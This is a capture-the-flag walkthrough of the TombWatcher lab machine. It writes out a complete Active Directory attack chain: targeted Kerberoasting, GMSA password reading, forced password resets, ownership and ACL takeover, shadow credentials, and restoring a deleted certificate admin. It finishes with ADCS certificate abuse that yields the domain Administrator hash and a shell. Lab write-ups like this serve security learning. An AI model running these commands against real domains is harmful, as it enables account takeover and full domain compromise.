TombWatcher (Retired Box)
Overview
We start TombWatcher with valid domain credentials, but that’s only a doorway. The push to Domain Admin is a stacked escalation driven by AD object control and certificate gaps. Using BloodHound to map the path, we move from Kerberoasting to a leaked GMSA credential, then into ForceChangePassword abuse that lets us plant a shadow credential. From there, we dig through the AD Recycle Bin and uncover a deleted ADCS admin account sitting in plain sight. Restoring that account allows us to abuse ESC15 to take full control of the domain.
Recon
I begin my scan by creating a dedicated directory for Nmap results. This keeps things organized and lets me easily return to previous scans later without confusion.
Nmap Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
Nmap scan report for 10.129.232.167
Host is up, received echo-reply ttl 127 (0.0083s latency).
Scanned at 2025-11-17 01:49:21 CST for 218s
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-11-17 11:51:29Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-17T11:53:01+00:00; +4h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-11-17T11:40:39
| Not valid after: 2026-11-17T11:40:39
| MD5: 1d6c:e9c7:7209:bdde:ca91:74a9:aa1e:833c
| SHA-1: 81bd:a2a4:ef93:5ec3:db1b:8c46:0ab2:eaf2:b1da:c50b
| -----BEGIN CERTIFICATE-----
| MIIGRzCCBS+gAwIBAgITLgAAAAN7Kti3c/l8tQAAAAAAAzANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
| dGNoZXIxGTAXBgNVBAMTEHRvbWJ3YXRjaGVyLUNBLTEwHhcNMjUxMTE3MTE0MDM5
<SNIP>
| czsRn1s/MBE+rzRT4/iHJoMkfyDcOEprMuYljt5YxIhk9uYOLevhvdryYO/ZnOsy
| 55ExOCfFuqZ8AZMsd2WaXvTXXwdavztaZXQidTvDfRT7mE2Sma+KWz2TfJBTccUl
| AkpUP5U0dFKalJAI6SkzEl2MU/Sa/+wW6k+P
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-11-17T11:40:39
| Not valid after: 2026-11-17T11:40:39
| MD5: 1d6c:e9c7:7209:bdde:ca91:74a9:aa1e:833c
| SHA-1: 81bd:a2a4:ef93:5ec3:db1b:8c46:0ab2:eaf2:b1da:c50b
| -----BEGIN CERTIFICATE-----
| MIIGRzCCBS+gAwIBAgITLgAAAAN7Kti3c/l8tQAAAAAAAzANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
<SNIP>
| czsRn1s/MBE+rzRT4/iHJoMkfyDcOEprMuYljt5YxIhk9uYOLevhvdryYO/ZnOsy
| 55ExOCfFuqZ8AZMsd2WaXvTXXwdavztaZXQidTvDfRT7mE2Sma+KWz2TfJBTccUl
| AkpUP5U0dFKalJAI6SkzEl2MU/Sa/+wW6k+P
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-17T11:53:01+00:00; +4h00m02s from scanner time.
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-11-17T11:40:39
| Not valid after: 2026-11-17T11:40:39
| MD5: 1d6c:e9c7:7209:bdde:ca91:74a9:aa1e:833c
| SHA-1: 81bd:a2a4:ef93:5ec3:db1b:8c46:0ab2:eaf2:b1da:c50b
| -----BEGIN CERTIFICATE-----
| MIIGRzCCBS+gAwIBAgITLgAAAAN7Kti3c/l8tQAAAAAAAzANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
| dGNoZXIxGTAXBgNVBAMTEHRvbWJ3YXRjaGVyLUNBLTEwHhcNMjUxMTE3MTE0MDM5
<SNIP>
| czsRn1s/MBE+rzRT4/iHJoMkfyDcOEprMuYljt5YxIhk9uYOLevhvdryYO/ZnOsy
| 55ExOCfFuqZ8AZMsd2WaXvTXXwdavztaZXQidTvDfRT7mE2Sma+KWz2TfJBTccUl
| AkpUP5U0dFKalJAI6SkzEl2MU/Sa/+wW6k+P
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-17T11:53:01+00:00; +4h00m02s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-11-17T11:40:39
| Not valid after: 2026-11-17T11:40:39
| MD5: 1d6c:e9c7:7209:bdde:ca91:74a9:aa1e:833c
| SHA-1: 81bd:a2a4:ef93:5ec3:db1b:8c46:0ab2:eaf2:b1da:c50b
| -----BEGIN CERTIFICATE-----
| MIIGRzCCBS+gAwIBAgITLgAAAAN7Kti3c/l8tQAAAAAAAzANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
| dGNoZXIxGTAXBgNVBAMTEHRvbWJ3YXRjaGVyLUNBLTEwHhcNMjUxMTE3MTE0MDM5
<SNIP>
| czsRn1s/MBE+rzRT4/iHJoMkfyDcOEprMuYljt5YxIhk9uYOLevhvdryYO/ZnOsy
| 55ExOCfFuqZ8AZMsd2WaXvTXXwdavztaZXQidTvDfRT7mE2Sma+KWz2TfJBTccUl
| AkpUP5U0dFKalJAI6SkzEl2MU/Sa/+wW6k+P
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-17T11:53:01+00:00; +4h00m02s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49694/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49716/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
50747/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
50764/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 52925/tcp): CLEAN (Timeout)
| Check 2 (port 14811/tcp): CLEAN (Timeout)
| Check 3 (port 60904/udp): CLEAN (Timeout)
| Check 4 (port 14103/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 4h00m01s, deviation: 0s, median: 4h00m01s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-17T11:52:21
|_ start_date: N/A
Key findings:
- IIS on port 80 but nothing useful for initial foothold
- Classic AD footprint: Kerberos, LDAP/LDAPS, SMB, WinRM
- Active ADCS infrastructure visible from certificate metadata
- LDAP over multiple ports confirms this is a full domain controller (DC01)
To proceed, I’ll add the discovered domain entries from the scan to /etc/hosts so everything resolves properly.
1
echo "10.129.232.167 DC01.tombwatcher.htb tombwatcher.htb DC01" | sudo tee -a /etc/hosts
Enumeration
I start by checking the web server, but it’s just the default IIS landing page, nothing useful. Since we already have credentials, the next step is to test them against the exposed services.
1
2
3
nxc winrm DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' # No luck
nxc ldap DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' # Works!
nxc smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' # Works too!
With SMB access confirmed, I enumerate the available shares:
1
2
3
4
5
6
7
8
9
10
11
12
└──╼ [★]$ nxc smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares
SMB 10.129.232.167 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.129.232.167 445 DC01 [*] Enumerated shares
Share Permissions Remark
----- ----------- ------
ADMIN$ - Remote Admin
C$ - Default share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
Nothing interesting shows up in the shares, so I move on to enumerating users.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└──╼ [★]$ nxc smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users
SMB 10.129.232.167 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.129.232.167 445 DC01 [*] Enumerated domain users
Username Last PW Set BadPW Description
----------- ---------------------- ------ --------------------------------
Administrator 2025-04-25 14:56:03 0 Built-in account
Guest <never> 0 Built-in guest account
krbtgt 2024-11-16 00:02:28 0 Kerberos KDC service account
Henry 2025-05-12 15:17:03 0
Alfred 2025-05-12 15:17:03 0
sam 2025-05-12 15:17:03 0
john 2025-05-19 13:25:10 0
There are four users visible but nothing here gives an obvious foothold yet so the next step is deeper LDAP and BloodHound collection.
BloodHound collection
To dig deeper into the domain, I collect a full set of AD objects using both rusthound-ce and bloodhound-python.
Tip: rusthound-ce is faster and more complete on modern environments, while bloodhound-python still picks up certain edges RustHound can miss. Running both gives broader coverage and avoids blind spots.
1
2
3
rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -c All
# and
bloodhound-python -c all -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -ns 10.129.232.167
With the data ingested and visualized in BloodHound, I search for the Henry user, mark them as owned, and check Outbound Control to see what Henry can influence. That immediately reveals another user: alfred
Henry has WriteSPN rights over alfred.
Note: Anyone with WriteSPN can attach a fake SPN to the target account and Kerberoast it. This is a direct path to attempting credential extraction against alfred.
Pivoting to Alfred
To launch the Kerberoast attack, I use a targeted Kerberoasting approach. This technique lets you add an SPN to any account you control via WriteSPN, roast the account, and then remove the SPN afterward. Alfred is a regular domain user, but since Henry has WriteSPN over him, I can turn Alfred into a Kerberoastable target and check whether he’s using a weak password.
The easiest tool for this is targetedKerberoast.py, which automates the entire sequence (add SPN → request ticket → extract hash → remove SPN).
For this box, I’m using BloodyAD with NetExec, which gives more visibility into each step.
Setting Up BloodyAD
1
2
3
4
5
6
7
8
9
10
git clone https://github.com/CravateRouge/bloodyAD
cd bloodyAD
# Create and activate a virtual environment
python3 -m venv .venv
source .venv/bin/activate
# from the project root
python3 -m pip install --upgrade pip
python3 -m pip install -r requirements.txt
# then install the package itself so imports like "from bloodyAD import ..." work
python3 -m pip install -e .
Fixing Time Skew
Before interacting with Kerberos, I sync my clock with the DC:
1
2
3
└──╼ [★]$ sudo ntpdate 10.129.232.167
2025-11-17 09:07:38.629500 (-0600) +14402.200183 +/- 0.004360 10.129.232.167 s1 no-leap
CLOCK: time stepped by 14402.200183
Kerberoasting Alfred
First I add a fake SPN to Alfred:
1
2
3
(.venv)
└──╼ [★]$ python3 bloodyAD.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/abc'
[+] alfred's servicePrincipalName has been updated
Now that Alfred has an SPN, NetExec can dump a roastable hash:
1
nxc ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting -
Once I grab and save the hash, I can cleanup the SPN by setting it to nothing (though there’s a cleanup script that will do it as well):
1
2
3
(.venv)
└──╼ [★]$ python3 bloodyAD.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName
[+] alfred's servicePrincipalName has been updated
Cracking the hash
1
hashcat hash /usr/share/wordlists/rockyou.txt
Result : alfred: basketball
Validating the creds
1
2
nxc winrm DC01.tombwatcher.htb -u alfred -p basketball # No luck
nxc smb DC01.tombwatcher.htb -u alfred -p basketball # Works!
Alfred can authenticate over SMB, which confirms the password and gives us a foothold to continue enumerating the domain from his perspective.
Pivoting to ANSIBLE_DEV$
After validating Alfred’s credentials, I checked the available shares, but everything was default and useless. With nothing to leverage there, I went back to BloodHound to analyze what Alfred could directly influence.
BloodHound showed that Alfred had AddSelf rights on the Infrastructure group. That group had ReadGMSAPassword permissions on the ANSIBLE_DEV$ GMSA account. That’s a clear escalation point, so the next step was to see how it connected to a full privilege chain.
Switching to Outbound Control laid out the attack path cleanly:
Alfred → Infrastructure → ANSIBLE_DEV$ → sam → john
That gives a solid, multi-stage route to escalate privileges step by step.
Abusing AddSelf to Access ANSIBLE_DEV$
With Alfred’s AddSelf rights over the Infrastructure group, the next move is to add Alfred into that group so I can inherit its permissions. Since Infrastructure has ReadGMSAPassword rights over ANSIBLE_DEV$, joining the group will let me extract the GMSA password directly.
Adding Alfred to the Infrastructure Group
Using Alfred’s AddSelf rights, I add him to the Infrastructure group so he inherits its ability to read the ANSIBLE_DEV$ GMSA password.
1
2
3
(.venv)
└──╼ [★]$ python3 bloodyAD.py -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb add groupMember Infrastructure alfred
[+] alfred added to Infrastructure
With that done, I can now dump the GMSA password:
1
netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa
This reveals the NTLM hash for ANSIBLE_DEV$:
1
73009e35da7dcea73e835d695e76a836
Validate NTLM
To confirm the hash is correct, I test over SMB:
1
nxc smb DC01.tombwatcher.htb -u 'ANSIBLE_DEV$' -H 73009e35da7dcea73e835d695e76a836 # works!
Pivoting to Sam
ANSIBLE_DEV$ has ForceChangePassword rights over sam, so I reset sam’s password:
1
2
3
(.venv)
└──╼ [★]$ python3 bloodyAD.py -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p ':73009e35da7dcea73e835d695e76a836' --host dc01.tombwatcher.htb set password "sam" "Password123."
[+] Password changed successfully!
To confirm validation , I test over SMB:
1
nxc smb DC01.tombwatcher.htb -u sam -H 'Password123.' # works!
Pivoting to John
The last step in this BloodHound chain is sam’s WriteOwner privilege over john. With WriteOwner, sam can take ownership of the john account. Once you own an object in AD, you can rewrite its ACLs and give yourself whatever permissions you want.
1
2
3
(.venv)
└──╼ [★]$ python3 bloodyAD.py -d tombwatcher.htb -u sam -p 'Password123.' --host dc01.tombwatcher.htb set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
Now that sam owns the john account, he can assign himself full control:
1
2
3
(.venv)
└──╼ [★]$ python3 bloodyAD.py -d tombwatcher.htb -u sam -p 'Password123.' --host dc01.tombwatcher.htb add genericAll john sam
[+] sam has now GenericAll on john
Tip: With GenericAll over john, sam has unrestricted control over password resets, SPN manipulation, shadow credentials, the works.
Dropping Shadow Credential on John
With GenericAll over john, I can perform a Shadow Credential attack. This abuses the KeyCredentialLink attribute to add a rogue authentication method to the account, allowing me to authenticate as john without knowing his password.
Tip: Certipy automates the entire process. It generates a certificate, inject a malicious key credential, authenticate, extract the NT hash, and restore the original KeyCredentialLink afterward.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
certipy shadow auto -u sam@tombwatcher.htb -p 'Password123.' -account john -dc-ip 10.129.232.167
[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '85478516-51f1-8a2a-d131-7b39d4de77d0'
[*] Adding Key Credential with device ID '85478516-51f1-8a2a-d131-7b39d4de77d0' to the Key Credentials for 'john'
[*] Successfully added Key Credential...
[*] Authenticating as 'john' with the certificate
[*] Got TGT
[*] Saving credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials
[*] NT hash for 'john': ad9324754583e3e42b55aad4d3b8d2bf
Next, I validate creds against the usual suspects and we have winrm open on John:
1
2
nxc winrm dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf # Works!
nxc smb dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf # Works!
Shell
With john’s NT hash, I can authenticate directly over WinRM and get an interactive shell:
1
evil-winrm -i dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf
Once inside, I enumerate the user directories to confirm access and pull the user flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users> tree /f /a
Folder PATH listing
Volume serial number is EFB6-9D96
C:.
+---.NET v4.5
+---.NET v4.5 Classic
+---Administrator
+---john
| +---Desktop
| | user.txt
| |
| +---Documents
| +---Downloads
| +---Favorites
| +---Links
| +---Music
| +---Pictures
| +---Saved Games
| \---Videos
|
\---Public
Escalating to Admin
With a shell as john, I start checking for any straightforward local privilege escalation routes, but nothing useful turns up. That sends me back to the BloodHound graph to see what’s left. The only notable edge is that john has GenericAll over the ADCS OU (Organizational Unit). In theory, that gives full control over the OU, but none of the certificate templates inside it are vulnerable, so this doesn’t immediately translate into an escalation path.
At this point, the connection between GenericAll on the ADCS OU and a workable privilege escalation route isn’t obvious. To dig deeper, I start collecting detailed ADCS information to look for hidden misconfigurations.
I use certipy find to enumerate everything related to certificate services:
There’s a single CA in the environment, tombwatcher-CA-1, and it exposes eleven certificate templates. Most of them are noise, but the Machine template stands out as potentially useful.
Since I already compromised ANSIBLE_DEV$, which is a member of Domain Computers, I have enrollment rights for the Machine template. Certipy flags this as potentially relevant for ESC2 or ESC3, but by itself it doesn’t give a clean escalation path.
One detail jumps out though: one of the object control entries is displayed only by SID, not by name:
1
S-1-5-21-1392491010-1358638721-2126982587-1111
That usually means certipy couldn’t resolve the object to an active user or group.
Tip: When Certipy or BloodHound shows a SID instead of a username, it often indicates a deleted object. Deleted AD objects linger in the Recycle Bin, and their metadata can still appear in ACLs even though they’re not active.
Recovering the Deleted ADCS Admin
To verify whether the SID shown by Certipy belongs to a deleted object, I query it directly from my Evil-WinRM shell.
First, I check if the object exists in the active directory tree:
1
2
*Evil-WinRM* PS C:\> Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111"
Cannot find an object with identity: 'S-1-5-21-1392491010-1358638721-2126982587-1111' under: 'DC=tombwatcher,DC=htb'
Since the object doesn’t exist normally, I search the Recycle Bin:
1
*Evil-WinRM* PS C:\Users\john> Get-ADObject -Filter 'objectsid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' -Properties * -IncludeDeletedObjects
This returns the deleted object record, including its ObjectGUID. I use that GUID to restore the account:
1
*Evil-WinRM* PS C:\Users\john> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Now I retrieve the restored account to confirm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\Users\john> Get-ADUser cert_admin
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
GivenName : cert_admin
Name : cert_admin
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Surname : cert_admin
UserPrincipalName :
*Evil-WinRM* PS C:\Users\john> Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'Password123.' -AsPlainText -Force)
*Evil-WinRM* PS C:\Users\john>
With the cert_admin account restored, I reset its password:
1
*Evil-WinRM* PS C:\Users\john> Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'Password123.' -AsPlainText -Force)
I test to validate the change:
1
nxc smb dc01.tombwatcher.htb -u cert_admin -p 'Password123.' # works!
Attempting ESC15
ow that cert_admin is restored, I re-run Certipy to check for any exploitable templates:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
certipy find -target dc01.tombwatcher.htb -u cert_admin -p 'Password123.' -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
Certificate Serial Number : 3428A7FC52C310B2460F8440AA8327AC
Certificate Validity Start : 2024-11-16 00:47:48+00:00
Certificate Validity End : 2123-11-16 00:57:48+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : TOMBWATCHER.HTB\Administrators
Access Rights
ManageCa : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
ManageCertificates : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
Certipy correctly resolves the previously missing SID and shows the WebServer template as vulnerable to ESC15.
ESC15 exploit failed
Following the Certipy documentation, I attempt to exploit ESC15 using the recommended syntax from certipy wiki :
1
certipy req -u cert_admin -p 'Password123.' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' -application-policies 'Client Authentication'
I got the SID from bloodhound:
Despite that, the request failed every single time. No matter how I adjusted the parameters, Certipy refused to issue the malicious certificate. Whether it was CA restrictions, some quiet hardening in the environment, or just quirks in the ESC15 workflow, I couldn’t pin it down.
Side note: There are claims that you can LDAP-shell over Schannel and downgrade SSL on your host to make ESC15 behave, but I didn’t validate whether that applies to this box.
At this point, ESC15 clearly wasn’t cooperating, so I stepped back and pivoted to a different angle.
Escalating to Domain Admin via ESC3
I found a reliable workaround through a video covering this box on IppSec’s YouTube channel. He also includes a Beyond Root segment where he fixes the CA_MD_TOO_WEAK error by using a custom OpenSSL config. If you run into the same issue, it’s worth checking out.
Note: The cert_admin password doesn’t persist. It eventually reverts, so if Certipy starts throwing errors again, jump back into Evil-WinRM and reset the password before continuing.
With IppSec’s method, I was able to finish the escalation cleanly:
1
certipy req -u cert_admin -p 'Password123.' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1
Using the User template, I request a certificate on behalf of the built-in Administrator:
1
2
3
4
5
6
7
8
9
certipy req -u cert_admin -p 'Password123.' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Now that I have a legitimate Administrator PFX, I authenticate directly:
1
2
3
4
5
6
7
8
9
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] SID: S-1-5-21-1392491010-1358638721-2126982587-500
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Got TGT
[*] Wrote credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@tombwatcher.htb':
aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
With the Administrator NT hash, I drop straight into an interactive shell and get root:
1
*Evil-WinRM* -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc






